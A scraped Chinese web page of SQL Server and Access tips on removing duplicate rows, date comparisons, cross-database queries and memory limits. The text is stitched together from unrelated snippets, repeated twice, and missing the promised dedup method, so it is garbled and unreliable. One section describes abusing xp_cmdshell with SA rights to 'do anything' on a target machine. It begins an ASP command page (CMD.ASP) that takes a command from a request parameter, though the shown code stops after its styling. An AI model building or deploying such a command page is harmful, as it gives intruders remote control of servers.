在SQL Server中快速删除重复记录
更新时间：2016年11月25日 16:45 点击：1708
文/夏翔 开发人员的噩梦——删除重复记录
想必每一位开发人员都有过类似的经历，在对数据库进行查询或统计的时候不时地会碰到由于表中存在重复的记录而导致查询和统计结果不准确。解决该问题的办法就是将这些重复的记录删除，只保留其中的一条。
在SQL Server中除了对拥有十几条记录的表进行人工删除外，实现删除重复记录一般都是写一段代码，用游标的方法一行一行检查，删除重复的记录。因为这种方法需要对整个表进行遍历，所以对于表中的记录数不是很大的时候还是可行的，如果一张表的数据达到上百万条，用游标的方法来删除简直是个噩梦，因为它会执行相当长的一段时间。
四板斧——轻松消除重复记录
殊不知在SQL Server中有一种更为简单的方法，它不需要用游标，只要写一句简单插入语句就能实现删除重复记录的功能。为了能清楚地表述，我们首先假设存在一个产品信息表Products，其表结构如下：
小提示：上述方法中删除重复记录取决于创建唯一索引时选择的字段，在实际的操作过程中读者务必首先确认创建的唯一索引字段是否正确，以免将有用的数据删除。
在Access中进行时间的比较sql语句很简单，如Select * From table Where thetime>#”& Now() &”#这样即可
在MSSQL就不能这样，要用DateDiff语句和GetDate（）函数进行比较。
如Select Count(*) From table Where DateDiff(s,GetDate(),thetime)>0，我自己特别做了个50万条数据的的表，执行这条语句差不多需要1200毫秒。
后来研究了一下，发现其实不需要用DateDiff函数，可以直接使用>来比较，语句如下：Select Count(*) From table Where thetime>GetDate()，这样差不多只要750毫秒，快了将近500毫秒。
XP_CMDSHELL存储过程是执行本机的CMD命令，要求系统登陆有SA权限，也就是说如果获得SQLSERVER的SA命令，那就可以在目标机为所欲为了，知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作。
下面是我写的一个简单的应用页面(ASP)，代码如下。
CMD.ASP
<T'>%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>SQLSERVER_XP_CMDSHELL实例_魔术师·刘</title>
<style type="text/css">
<!--
body{
font-size:13px;
line-height:20px;
width:760;
SCROLLBAR-FACE-COLOR: #2896e1;
SCROLLBAR-SHADOW-COLOR: #6cb4d8;
SCROLLBAR-ARROW-COLOR: #f0f0f0;
SCROLLBAR-DARKSHADOW-COLOR: #2896e1;
SCROLLBAR-BASE-COLOR: #2896e1;
background-image: url(images/bg.gif);
}
.LBR{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:1px solid #336699;
border-bottom:1px solid #336699;
}
.all_h {
border: 1px solid #336699;
}
.input {
border: 1px solid #336699;
background-color:#ECEAFD;
}
.LB{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:0px solid #336699;
border-bottom:1px solid #336699;
}
.N1 {font-weight:bold;color:#339933;font-size:13px;}
.N2 {font-weight:bold;color:#ff0000;font-size:13px;}
-->
</style>
</head>
<body>
<%if request("cmd")<>"" then%>
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL请求结果</span></td>
问题说明: 有时需要在两个或三个数据库的表中，通过相关关键字，查询获取所需记录集，用一般的SQL查询语句是实现不了的，可通过ACCESS的跨库查询功能实现。
解决方法: 例如“装材类型”和“装材”两张表是在不同的数据库中的，具体查询方法，如下：
@"Select * from 装材类型 as a INNER JOIN [;database=" AppDomain.CurrentDomain.BaseDirectory "装材.zc].装材 as b ON a.BH=b.LXBH"
详细解释: [;database=path;pwd=12].A
ACCESS的跨库是通过中括号实现的，包括路径，密码设置等；跨库的前提是已经打开了一个Connection。
最近，为了能在数据库服务器中运行其他应用程序，在保持数据库操作系统版本不变的前提下对数据库服务器进行了软、硬件上的升级。在软件上，将操作系统从Windows 2000升级到Windows Server 2003；在硬件上，将服务器中的内存由原来的512MB增加到1GB（1024MB）。
在升级后的开始几个星期之内，服务器在使用中表现良好。但是不久后就发现，在服务器上同时运行的其他应用程序却出现了异常，不时地报出内存分配不足的警告。经过几次跟踪后发现，原来是SQL Server吞去了大部分内存所致。被SQL Server占用的内存由升级前的不到400MB一下子增加到现在的900MB，并且有不断增长的趋势。
通过查找原因才知道这是SQL Server 缓冲池的预期行为。默认情况下，在启动 SQL Server之后，SQL Server会根据操作系统报告的物理内存数来动态增大或缩小高速缓冲存储器的容量。只要可用物理内存大小保持在4MB到10MB之间，SQL Server 缓冲池就会继续增大（保留可用物理内存在4MB到10MB之间是为了避免操作系统因为缺少内存而频繁地换页）。如果物理可用内存变得较少的时候，则SQL Server会将一些内存释放给操作系统。
为了使运行在服务器上的应用程序都能达到比较满意的效果，同时也为了能给其他应用程序分配足够的内存，需要采取措施限制SQL Server 的内存使用量。我们可以通过设置SQL Server 数据库引擎使用的内存的上下限来达到此目的。其具体步骤是：
1.打开企业管理器，展开服务器组。
2.单击该服务器，点击鼠标右键，单击属性菜单。
3.在弹出的对话框中单击内存选项卡。
内存设置方法有两种：
1.设置min server memory和max server memory 在一个范围段内。
比如，我们将它设置成最小0MB，最大255MB。这种方法在为一台服务器中运行多个应用程序分配内存时非常有用。
2.设置 min server memory 和 max server memory 为同一数值。
比如，可以将它最大和最小值都设置成255MB。这样的设置方法与窗口中的另一个选项“使用固定的内存大小” 相一致。
虽然内存最小值和最大值设置是高级选项，但在设置完毕之后，最好还是先将SQL Server服务停止后再重新运行，以便SQL Server能更好地对内存进行合理安排。
想必每一位开发人员都有过类似的经历，在对数据库进行查询或统计的时候不时地会碰到由于表中存在重复的记录而导致查询和统计结果不准确。解决该问题的办法就是将这些重复的记录删除，只保留其中的一条。
在SQL Server中除了对拥有十几条记录的表进行人工删除外，实现删除重复记录一般都是写一段代码，用游标的方法一行一行检查，删除重复的记录。因为这种方法需要对整个表进行遍历，所以对于表中的记录数不是很大的时候还是可行的，如果一张表的数据达到上百万条，用游标的方法来删除简直是个噩梦，因为它会执行相当长的一段时间。
四板斧——轻松消除重复记录
殊不知在SQL Server中有一种更为简单的方法，它不需要用游标，只要写一句简单插入语句就能实现删除重复记录的功能。为了能清楚地表述，我们首先假设存在一个产品信息表Products，其表结构如下：
小提示：上述方法中删除重复记录取决于创建唯一索引时选择的字段，在实际的操作过程中读者务必首先确认创建的唯一索引字段是否正确，以免将有用的数据删除。
在Access中进行时间的比较sql语句很简单，如Select * From table Where thetime>#”& Now() &”#这样即可
在MSSQL就不能这样，要用DateDiff语句和GetDate（）函数进行比较。
如Select Count(*) From table Where DateDiff(s,GetDate(),thetime)>0，我自己特别做了个50万条数据的的表，执行这条语句差不多需要1200毫秒。
后来研究了一下，发现其实不需要用DateDiff函数，可以直接使用>来比较，语句如下：Select Count(*) From table Where thetime>GetDate()，这样差不多只要750毫秒，快了将近500毫秒。
XP_CMDSHELL存储过程是执行本机的CMD命令，要求系统登陆有SA权限，也就是说如果获得SQLSERVER的SA命令，那就可以在目标机为所欲为了，知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作。
下面是我写的一个简单的应用页面(ASP)，代码如下。
CMD.ASP
<T'>%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>SQLSERVER_XP_CMDSHELL实例_魔术师·刘</title>
<style type="text/css">
<!--
body{
font-size:13px;
line-height:20px;
width:760;
SCROLLBAR-FACE-COLOR: #2896e1;
SCROLLBAR-SHADOW-COLOR: #6cb4d8;
SCROLLBAR-ARROW-COLOR: #f0f0f0;
SCROLLBAR-DARKSHADOW-COLOR: #2896e1;
SCROLLBAR-BASE-COLOR: #2896e1;
background-image: url(images/bg.gif);
}
.LBR{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:1px solid #336699;
border-bottom:1px solid #336699;
}
.all_h {
border: 1px solid #336699;
}
.input {
border: 1px solid #336699;
background-color:#ECEAFD;
}
.LB{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:0px solid #336699;
border-bottom:1px solid #336699;
}
.N1 {font-weight:bold;color:#339933;font-size:13px;}
.N2 {font-weight:bold;color:#ff0000;font-size:13px;}
-->
</style>
</head>
<body>
<%if request("cmd")<>"" then%>
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL请求结果</span></td>
问题说明: 有时需要在两个或三个数据库的表中，通过相关关键字，查询获取所需记录集，用一般的SQL查询语句是实现不了的，可通过ACCESS的跨库查询功能实现。
解决方法: 例如“装材类型”和“装材”两张表是在不同的数据库中的，具体查询方法，如下：
@"Select * from 装材类型 as a INNER JOIN [;database=" AppDomain.CurrentDomain.BaseDirectory "装材.zc].装材 as b ON a.BH=b.LXBH"
详细解释: [;database=path;pwd=12].A
ACCESS的跨库是通过中括号实现的，包括路径，密码设置等；跨库的前提是已经打开了一个Connection。
最近，为了能在数据库服务器中运行其他应用程序，在保持数据库操作系统版本不变的前提下对数据库服务器进行了软、硬件上的升级。在软件上，将操作系统从Windows 2000升级到Windows Server 2003；在硬件上，将服务器中的内存由原来的512MB增加到1GB（1024MB）。
在升级后的开始几个星期之内，服务器在使用中表现良好。但是不久后就发现，在服务器上同时运行的其他应用程序却出现了异常，不时地报出内存分配不足的警告。经过几次跟踪后发现，原来是SQL Server吞去了大部分内存所致。被SQL Server占用的内存由升级前的不到400MB一下子增加到现在的900MB，并且有不断增长的趋势。
通过查找原因才知道这是SQL Server 缓冲池的预期行为。默认情况下，在启动 SQL Server之后，SQL Server会根据操作系统报告的物理内存数来动态增大或缩小高速缓冲存储器的容量。只要可用物理内存大小保持在4MB到10MB之间，SQL Server 缓冲池就会继续增大（保留可用物理内存在4MB到10MB之间是为了避免操作系统因为缺少内存而频繁地换页）。如果物理可用内存变得较少的时候，则SQL Server会将一些内存释放给操作系统。
为了使运行在服务器上的应用程序都能达到比较满意的效果，同时也为了能给其他应用程序分配足够的内存，需要采取措施限制SQL Server 的内存使用量。我们可以通过设置SQL Server 数据库引擎使用的内存的上下限来达到此目的。其具体步骤是：
1.打开企业管理器，展开服务器组。
2.单击该服务器，点击鼠标右键，单击属性菜单。
3.在弹出的对话框中单击内存选项卡。
内存设置方法有两种：
1.设置min server memory和max server memory 在一个范围段内。
比如，我们将它设置成最小0MB，最大255MB。这种方法在为一台服务器中运行多个应用程序分配内存时非常有用。
2.设置 min server memory 和 max server memory 为同一数值。
比如，可以将它最大和最小值都设置成255MB。这样的设置方法与窗口中的另一个选项“使用固定的内存大小” 相一致。
虽然内存最小值和最大值设置是高级选项，但在设置完毕之后，最好还是先将SQL Server服务停止后再重新运行，以便SQL Server能更好地对内存进行合理安排。
相关文章
- 下面小编来给大家演示几个php操作zip文件的实例，我们可以读取zip包中指定文件与删除zip包中指定文件，下面来给大这介绍一下。 从zip压缩文件中提取文件 代...2016-11-25
- 复制代码 代码如下: <td> <a href="/member/life/edit_ppt/<?php echo $v->id;?>" class="btn">编辑</a> <a href="javascript:;" onclick="if(confirm('您确定删除这条记录？')){location.href='/member/life/d...2014-06-07
- 伪造跨站请求介绍伪造跨站请求比较难以防范，而且危害巨大，攻击者可以通过这种方式恶作剧，发spam信息，删除数据等等。...2013-10-01
Centos中彻底删除Mysql（rpm、yum安装的情况）
我用的centos6，mysql让我整出了各种问题，我想重装一个全新的mysql，yum remove mysql-server mysql之后再install并不能得到一个干净的mysql，原来的/etc/my.cnf依然没变，datadir里面的数据已没有任何变化，手动删除/etc/my.cn...2015-03-15- 数据库中的数据删除会分为两种：物理删除 和 逻辑删除，接下来通过本文给大家介绍MyBatis-Plus的物理删除和逻辑删除使用场景分析，感兴趣的朋友一起看看吧...2021-09-25
- 删除重复数据，只保留一条用SQL语句,删除掉重复项只保留一条在几千条记录里,存在着些相同的记录,如何能用SQL语句,删除掉重复的呢...2018-09-10
- 这篇文章主要介绍了mybatis-plus getOne和逻辑删除,本文给大家介绍的非常详细，对大家的学习或工作具有一定的参考借鉴价值，需要的朋友可以参考下...2020-08-26
- 这篇文章主要介绍了C# 复制与删除文件的实现方法的相关资料,希望通过本文能帮助到大家，让大家理解掌握这部分内容，需要的朋友可以参考下...2020-06-25
- 这篇文章主要介绍了C#删除UL LI中指定标签里文字的方法,涉及C#针对页面HTML元素进行正则匹配与替换的相关操作技巧,需要的朋友可以参考下...2020-06-25
- 这篇文章主要为大家详细介绍了js实现上传文件添加和删除文件选择框 ,具有一定的参考价值，感兴趣的小伙伴们可以参考一下...2016-10-25
- 最近由于项目的需要，需要动态的添加和删除table中的tr，感觉用JS可以实现，但是在网上找了一下，单纯的自己写JS，感觉太麻烦，而且也不好维护。于是想到了最近学的jQuery。这篇文章给大家用实例介绍了jQuery动态添加与删除tr行的方法，有需要的朋友们可以参考借鉴。...2016-10-20
- 这篇文章主要介绍了MybatisPlus实现逻辑删除功能，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧...2020-12-25
- 这篇文章主要介绍了C#删除字符串中重复字符的方法,涉及C#针对字符串的遍历及移除等操作的技巧,非常具有实用价值,需要的朋友可以参考下...2020-06-25
- 这篇文章主要介绍了C++递归删除一个目录的实现方法,涉及到目录的操作及递归算法的应用,需要的朋友可以参考下...2020-04-25
- 这篇文章主要介绍了jQuery中DOM节点的删除方法,文中介绍的很相信，内容包括empty()的基本用法、remove()的有参用法和无参用法、empty和remove区别、保留数据的删除操作detach()以及detach()和remove()区别，需要的朋友可以参考借鉴。...2017-01-26
- 这篇文章主要介绍了postgresql 删除重复数据的几种方法小结，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2021-02-05
- 本文实例讲述了MySQL查看、创建和删除索引的方法。分享给大家供大家参考。具体如下：1．索引作用在索引列上，除了上面提到的有序查找之外，数据库利用各种各样的快速定位技术，能够大大提高查询效率。特别是当数据量非常大，查询...2015-10-21
- 在本篇文章里小编给大家分享了关于C#删除Excel中的图片的实例代码内容，有兴趣的朋友们参考学习下。...2020-06-25
- 这篇文章主要介绍了mysql delete 多表连接删除功能的相关资料,需要的朋友可以参考下...2017-03-14
- 可以利用js函数来实现对表格的维护和删除，相对于JavaScript简单方便，下面通过实例代码给大家介绍下jQuery表格的维护和删除操作，一起通过本文学习吧...2017-02-08